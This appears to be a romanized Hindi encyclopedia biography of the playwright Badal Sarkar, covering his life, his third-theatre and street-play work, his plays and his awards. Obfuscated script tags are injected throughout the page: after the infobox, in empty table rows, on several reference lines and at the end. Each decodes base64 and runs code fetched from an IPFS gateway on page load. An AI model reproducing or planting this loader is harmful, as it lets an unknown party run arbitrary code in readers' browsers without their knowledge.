बादल सरकार
badal sarakar
| |
| poora nam | sudhindr sarakar |
| any nam | badal sarakar |
| janm | 15 julaee sanh 1925 ee. |
| janm bhoomi | kolakata |
| mrityu | 13 mee , 2011 |
| mrityu sthan | kolakata |
| abhibhavak | pita- mahendralal sarakar, mata- saralamana sarakar |
| karm-kshetr | kala aur sahity |
| mukhy rachanaean | indrajit (1963), pagala gho da (1967), ram shyam jodoo (1961), kavi kahani (1964), baqi itihas (1965), tisari shatabdi (1966) adi. |
| shiksha | baichalar aauph ianjiniyariang' tatha 'taun phlaniang' mean diphloma |
| vidyalay | shivapur ianjiniyariang k aaulej, kolakata |
| prasiddhi | abhineta, natakakar, nirdeshak |
| vishesh yogadan | nukk d natakoan ko lokapriy banane, use rangamanch ki samakalin bahas ke bich lane mean sabase b da yogadan badal sarakar ka hi hai. |
| nagarikata | bharatiy |
| pahala natak | s aaulyooshan eks (1956) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>badal sarakar (aangrezi: Badal Sarakar, janm: 15 julaee, 1925 - mrity: 13 mee , 2011) abhineta, natakakar, nirdeshak aur in sabake atirikt rangamanch ke siddhaantakar the. unhoanne tisara rangamanch ka saiddhaantik pratipadan kiya, aur use manch par bhi utara. badal sarakar ne 'baichalar aauph ianjiniyariang' tatha 'taun phlaniang' mean diphloma ki shiksha bharat aur videshoan mean li thi. vah bharat ke bahucharchit natakakaroan mean ek the. satavean dashak mean poore desh mean unaki dhoom machi thi. mohan rakesh, vijay teandulakar aur girish karnad ke sath badal sarakar ko milane ke bad hi us daur ka rangaparivesh sanpoorn hota tha. unake natak bhari sankhya mean hindi mean aur anhy bharatiy bhashaoan mean manchit hue aur ve baanghla ki paridhi se bahar nikal samagrata mean bharat ke natakakar aur bharatiy rangamanch ke agua bane. unhhoanne rangamanch ko prekshagrih ki paridhi se bahar nikala. aangan manch ka siddhaant racha. kam se kam kharch mean natak manchit karana aur amajan ke lie natak ko ni:shulhk upalabhdh karana unaka lakshhy bana. sanh 1956 mean badal sarakar ne apana pahala natak 's aaulhyooshan ekhs' likha.[1]
jivan parichay
15 julaee, 1925 ko kolakata ke ek eesaee parivar mean badal urph sudhindr sarakar ka janm hua. pita mahendralal sarakar 'sk aautish charch k aaulej' mean padhate the aur videshiyoan dvara sanchalit is sanstha ke ve pahale bharatiy pradhanachary bane the. maan, saralamana sarakar se badal sarakar ko sahity ki prerana mili. 1941 mean pratham shreni mean maitrik pas karane ke bad ve 'shivapur ianjiniyariang k aaulej' mean bharti hue aur 1946 mean ve sivil ianjiniyar bane. ianjiniyariang k aaulej mean padhate samay ve markhsavadi vicharadhara aur rajaniti se saghan roop se ju d ge. kamyunist parti mean sakriy roop se kee varshoan tak ju de rahane ke bavajood, bad mean ve parti rajaniti se alag hat ge.
- naukari
badal sarakar ne 1947 mean nagapur ke pas ek nirman sanshtha mean pahali naukari ki. bad mean ve phir kolakata laut ae jahaan unhoanne jadavapur aur kolakata vishvavidyalay mean ianjiniyar ki naukari ki. ve un dinoan naukari ke sath-sath shivapur ianjiniyariang k aaulej mean sayankalin kakshaoan mean 'taun phlaniang' diphloma ke lie padhaee karate rahe. 1953 mean domadar vaili karaporeshan ki naukari lekar maithan ge. maithan mean badal sarakar 1956 tak the. isi dauran natak ke prati unaka rujhan dikhane laga. daftar ke sahakarmiyoan ke sath milakar ek abhinav riharsal khlab ki shuruat ki jahaan, badal sarakar ke shabhdoan mean 'riharsal hoga par natak ka manchan kabhi nahian hoga.' jaisa abhinav niyam lagoo kiya gaya tha, par bad mean sadasyoan ke utsah se is niyam mean to dakar natakoan ke manchan ki shuruat huee.
bachapan se hi badal sarakar natakoan ke prati akarshit the. unhean natakoan mean hasy ras sabase zyada pasand tha, lihaza yah svabhavik hi tha ki unake praranbhik natakoan mean hamean yah tatv zyada mukhar dikhata hai. ve ise 'sichueshan k aaumedi' kahate haian. unaka 1956 mean likha gaya pahala natak 's aaulyooshan eks' tha. yah natak ek videshi film, 'Monkey Business' ki kahani par adharit ek sichueshan k aaumedi ke roop mean prasiddh hua.
- videshoan mean
thumb|200px|badal sarakar 1957 se 1958, in do varshoan ke dauran unhoanne ianglaiand mean ‘taun-phlaniang’ ka kors karane ke sath-sath naukari ki. isi samay unhhean prasiddh abhinetaoan ka abhinay dekhane ka mauqa mila. vivayan li, charls laitan, maikal r aaudareth, margaret k aaulinhs adi ke abhinay aur vahaan ke rangakarm se ve behad prabhavit hue. par shayad unake ‘tisare rangamanch’ ki nianv ki pahali eeant ke roop mean phreanch kavi r aausin ki kriti ‘phridre’ natak ko dekhane ka anubhav tha. 21 faravari, 1958 ko dekhe ge 'thietar-in-raunhd' mean is prastuti ke bare mean apane anubhavoan ko dayari ke pannoan mean darj karate hue unhoanne likha tha, 'aj jo dekha use kabhi bhula n paooanga.' mukt manch ke is anubhav ko ham varshoan bad unake tisare rangamanch ki avadharanaoan mean vikasit hote dekh pate haian.
ianglaiand pravas ke dinoan mean hi unhoanne 'bo do pishi maan' (b di booaji) likha. isi samay unhhoanne ek chhota natak 'shanivar' likha. yah natak ji.bi. prishtale ke natak 'en inspektar k aauls' par adharit tha. 1959 mean ve ianglaiand se kolakata laut ae aur ate hi apane utsahi mitroan ke sath 'chakragoshthi' nam se ek 'naty sanstha' ki nianv rakhi. har shanivar ko is goshthi mean natak ke sath-sath sangit, sahithy, vijnan adi vibhinn vishayoan par charcha hoti thi. isi 'chakragoshthi' ke prayas se unake kee aranbhik natakoan se darshak parichit hue. 'bo do pishimaan', 'shonibar', 'samavrit', 'ramashyamajadu' adi jinamean pramukh haian.
isake bad badal sarakar phraans sarakar ke arthik anudan par vahaan ge aur phir tin varshoan tak naijiriya mean naukari ki. is videsh pravas ke dauran unhoanne 'eboan indrajit', 'sara rattir', 'ballabhapurer roopakatha', 'jodi ar ekabar', 'triansh shatabdi', 'pagala gho da', 'pralap', 'pore konodin' jaise mahattvapoorn natak likhe.
- bharat lautane par
desh mean lautane ke pahale hi 'eboan indrajit' bahuroopi naty patrika mean (aank: 22 julaee, 1965) prakashit hua. isake prakashan ke sath hi badal sarakar ki khyati charoan or phail gee. isaka pahala manchan 'shaubhanik' natyasanstha ne 16 disanbar, 1965 ko kiya. natak ke prakashan aur manchan ne naty jagath mean manoan dhoom macha di. 1968 ko unhean is natak ke lie sangit natak akadami puraskar mila. naiziriya se bharat lautane ke turant bad unhoanne 'baki itihas' likha. un dinoan shanbhu mitr rangamanch ke shirshasth vyaktiyoan mean the. unaki naty sanstha 'bahuroopi' ne 'baki itihas' ka saphal manchan kiya. ye donoan natak unake 'sichueshanal k aaumedi' vale natakoan se bilkul bhinn the, jo bharatiy rangamanch mean ek ne yug ka sanket tha.
- 'shatabdi' naty sanstha
1967 mean unhoanne apane sathiyoan ke sath 'shatabdi' naty sanstha ki sthapana ki. 18 march, 1967 ko 'ravindr sarovar manch' se 'shatabdi' ne apani rangayatra shuroo ki. 1956 se lekar 1967 tak ke sabhi natak badal sarakar ne 'proseniyam manch' ke lie likhe the. lihaza 'shatabdi' ki aranbhik prastutiyaan 'proseniyam' hi thian. 1971 se rangamanch ko lekar badal sarakar ki avadharanaean tezise badalane lagi thian aur ve nirantar prayog kar rahe the. prayogoan ke is daur se gujarate hue ve 'tisare rangamanch' tak jald hi pahuanch sake. ve manane lage the ki 'natak ek jivant kala madhyam hai- Live show ! logoan ka do samooh - ek hi vakht, ek hi shthan par ikatthe hokar ek kala madhhyam ke sath ju d rahe haian - abhinetaoan aur darshakoan ke do samooh ke roop mean. yah ek manaviy kriya hai - manushhy ka manushhy ke sath ju dav. sinema hamean aise prathyaksh ju dav ka mauqa nahian deta.' aise hi vicharoan se rangamanch par prayog karate hue, unhhoanne anhtat: rangamanch ko sarthak kala madhhyam ke roop mean shthapit karane ke uddeshhy se, proseniyam rangamanch ko tyag, tisare rangamanch ko am janata tak ek 'phri-thietar' ke roop mean le jane mean kamayabi hasil ki.
- 1970 se 1993
1970 se 1993 tak badal sarakar ke sabhi natak tisare ya vikalp ke rangamanch ko dhyan mean rakhakar likhe ge. 'shatabdi' ke alava poore desh mean in natakoan ko vibhinn bhashaoan mean, chhote-bade़ shaharoan - kashboan mean vibhinhn naty sanshthaoan dvara khela gaya. badal sarakar ke tisare rangamanch ne bharat ki bhashaee, praantiy aur saanskritik dooriyoan ko khatm kar pahali bar ek sarthak bharatiy rangamanch vikasit karane ki disha mean ek saphal prayas kiya. marathi, hindi, panjabi, gujarati, malayali, kann d, odiy़a adi bharatiy bhashaoan mean unake natak manchit hue aur kisi n kisi roop mean desh ke sabhi praantoan ke rangakarmiyoan ko tisare rangamanch ne apani or akarshit kiya.
- sahity samikshak chinmay guha ka kathan
prasiddh kala aur sahity samikshak chinmay guha ne badal sarakar ke jivan aur krititv par charcha karate hue 'anand bazar patrika' [2] mean likha hai, jo behad gauratalab hai - 'aj se sau varsh bad shayad is bat par bahas ho ki kya bisavian aur ikkisavian sadi ke sandhi kal mean, ek hi sath tin-tin badal sarakar hue the jinamean se ek ne saras par bauddhak roop se prakhar sanvadoan se bhare, k aaumik sthitiyoan ki barikiyoan par apani paini nazar sadhe, behad prabhavashali hasy natak likhe the. doosare, jinhoanne samaj mean hiansa ke, vishv rajanitik khianchatani ke chalate yuddh ki kali parachhaee ke, paramanu astroan ke, atank ke aur samaj mean badhati arthik asamanata ke khilaf apani avaz ko apane natakoan mean darj kiya tha aur tisare, jinhoanne prekshagrihoan ke aandar kaid manoranjan pradhan rangamanch ko ek muktakash ke niche am janata tak pahuanchane ka sapana dekha tha.'
- bharatiy rangamanch ka vikas
aj se sau varsh bad ke pathakoan ko shayad in tinoan badal sarakar ko ek hi vyaktitv ke roop mean chihnit karane mean kathinaee hogi. lekin rahat ki bat ki bharatiy janata ke sukh-dukh, unaki chiantaoan, unaki samasyaoan aur satta dvara unake shoshan ki samanata ke chalate unaki jo ek vishisht pahachan bani thi- bhasha, praant aur sanskriti ke bich ki divaroan ko to de kar bani thi. isi vishisht pahachan ko adhar manakar bharatiy rangamanch ka vikas sanbhav hua tha. sinema-telivijan aur tamam any manoranjan ke sadhanoan ke jarie jahaan satta ki sanskriti jan sanshkriti ke khilaf vyapak roop se sakriy ho rahi thi aur janata ke sarokaroan aur savaloan se unhean bhramit karane mean lagi thi, tab samaj parivartan ke uddeshy se n sahi, mahaj ek deshavyapi pratirodh ki sanskriti ko zianda rakhane ke lie, tisare rangamanch ne ek mahattvapoorn bhoomika nibhaee thi. badal sarakar aur unake tisare rangamanch ko ane vale kal ke pathak usi tarah tarah se apane qarib paeange- jitane qarib aur athmiy sarakar aj hamare haian.[3]
rachanaean
- ram shyam jodoo(1961)
- kavi kahani (1964),
- baqi itihas (1965),
- tisari shatabdi (1966),
- yadi phir ek bar (1966),
- pagala gho da (1967),
- aant nahian (1970),
- sagina mehata (1970),
- aboo hasan (1971),
- michhil-juloos (1974) adi.
- pustakean
badal sarakar batate haian- 'maianne apana kam kavitaoan se shuroo kiya. sanh 1956 mean maianne apana pahala natak s aaulyooshan eks likha. phir sanh 1956 mean 'baro pishima' aya.' abhi hal hi mean unaki do pustakean 'purono kushundi aur probosher hijjibijji aee haian, jinamean unake natakoan, anubhavoan aur videsh yatraoan ka vivaran hai.
- nukk d natak
san 1961 mean unaka tisara natak 'ram shyam jodoo' aya jo ek videshi kahani par adharit tha. is natak ki saphalata ne unhean ek alag kism ke thietar ka janak banaya, jise bharat mean 'thard thietar' aur 'saiko phijikal thietar' (mano-sharirik rangamanch) ke namoan se jana gaya. sanh 1963 mean unhoanne do natakoan ka nirdeshan kiya. ye natak the - evamh iandrajit aur vallabhapur ki roopakatha . in natakoan ke sath hi badal sarakar ka nam har rangakarmi ki juban par chha gaya. badal sarakar ne apane sathiyoan ke sath ‘parikrama’ karyakram ke sath bangal ke anek ziloan mean gaanv-gaanv ja kar natak kie aur bangal ke gramin janoan se sidha rangasampark banaya. nadiya, 24 paragana adi ziloan mean bhi gaanv-gaanv ghoom kar badal sarakar ne rangakarm ka sandesh de kar abhijaty naty jagath ko chunauti di. unake natakoan mean kalakaroan aur darshakoan ke bich koee farq nahian hota hai. badal sarakar ne aangan, chhat, nukk d aur gaanvoan mean natakoan ko pahuancha kar natak ko vyapak banaya.[4]
'mere natak sandesh mera sandesh dete haian. parantu maian mahasoos karata hooan ki in natakoan ko yadi maian aj likhata to inaka pharm aur nereshan doosara hota. jis path par maian ab tak chala aur jo navachar maianne bharatiy rangamanch mean kiya, us par mujhe aj bhi vishvas hai.' - badal sarakar
badal sarakar batate haian ki unhoanne thietar apane parivar valoan ke sath mil kar shuroo kiya. ghar se sa di-kapade le ja kar usi se stej bana kar poori lagan se natak taiyar karate the. unhoanne kee bar natakoan mean mahila patr ka kam kiya, halaanki unake mata-pita ko yah bilkul pasand nahian tha. 'nukk d natak' ke unake muhavare ko rashtriy naty vidyalay tak mean samman mila. badal sarakar ka rangakarm vyavastha ke viruddh udghosh hai. unaki oorja har yuva ko akarshit karati hai, isalie badal sarakar ke natak poore desh mean har naty dal dvara bar-bar khele ge. badal da ke natak samaj mean atyachar aur bikharati samaj vyavastha ke viruddh tikha pratirodh karate haian. samaj aur rajaniti ki vidroopataoan par unake natak gahari chot karate haian. is karan se badal sarakar ke natak aur ve svayan bhi desh ke rangakarmiyoan ke chahete haian.[4]
samman aur puraskar
badal sarakar ko varsh 1968 mean sangit natak akadami puraskar, varsh 1972 mean padmashri, varsh 1997 mean sangit natak akadami-ratn sadasy ka puraskar mil chuka hai. varsh 2010 mean bharat sarakar dvara unhean padmabhooshan samman diya gaya jo unhoanne lene se yah kahakar iankar kar diya ki ek lekhak ka sabase b da samman sahity akadami puraskar vah pahale hi pa chuke haian.[5]
nidhan
tisara rangamanch ke sansthapak aur bharatiy gramin paranparik rangamanch ke purodha badal sarakar ka pashchim bangal ki rajadhani kolakata mean 13 mee 2011 ko nidhan ho gaya. badal sarakar kaiansar se pi dit the.
yogadan
badal sarakar ke anusar shahari rangamanch pashchim se prabhavit hai aur gramin rangamanch paranparik shailiyoan se, aur donoan mean hi aantarvastu ki kami hai. shahari rangamanch apane prosiniyam dayare mean bandha hai aur gramin ya paranparik rangamanch apani purani shailiyoan mean, jisamean prakhar rajanitik chetana ka abhav hai. badal sarakar adhunik rangamanch ko prosinimay dayare se nikal kar logoan ke bich le ge. gaanvoan aur kasboan mean le ge. badal sarakar ke natak juloos (baangla mean michhil) ne akhil bharatiy star par 1974-75 ke samay mean jab jayaprakash narayan ke netritv mean shuroo hue chhatr aandolan ka samay tha, rangakarmianyoan aur naty premiyoan ki kalpanashilata ko behad prabhavit kiya. nukk d natakoan ko lokapriy banane, use rangamanch ki samakalin bahas ke bich lane mean sabase b da yogadan badal sarakar ka hi hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ jivan ki roopakatha ke natakakar badal sarakar (hindi). . abhigaman tithi: 10 joon, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 18 julaee, 2008
- ↑ bhaumik, ashok badal sarakar : vhyakti aur rangamanch (hindi). gajiyabad: aantika prakashan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 4.0 4.1 pratirodh ko thiyetar ka madhyam banane vale rangakarmi badal sarakar (hindi) jabalapur chaupal. abhigaman tithi: 10 joon, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ tisara-rangamanch-ke-sansthapak-aur-bharatiy-gramin-paranparik-rangamanch-ke-purodha-badal-sarakar-ka-nidhan (hindi). . abhigaman tithi: 10 joon, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- badal sarakar vyakti aur rangamanch
- badal sarakar par ashok bhaumik ki kitab prakashit
- mahanh rangadrashta badal sarakar ko hamari bhav bhini shraddhaanjali!
- aantika prakashan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>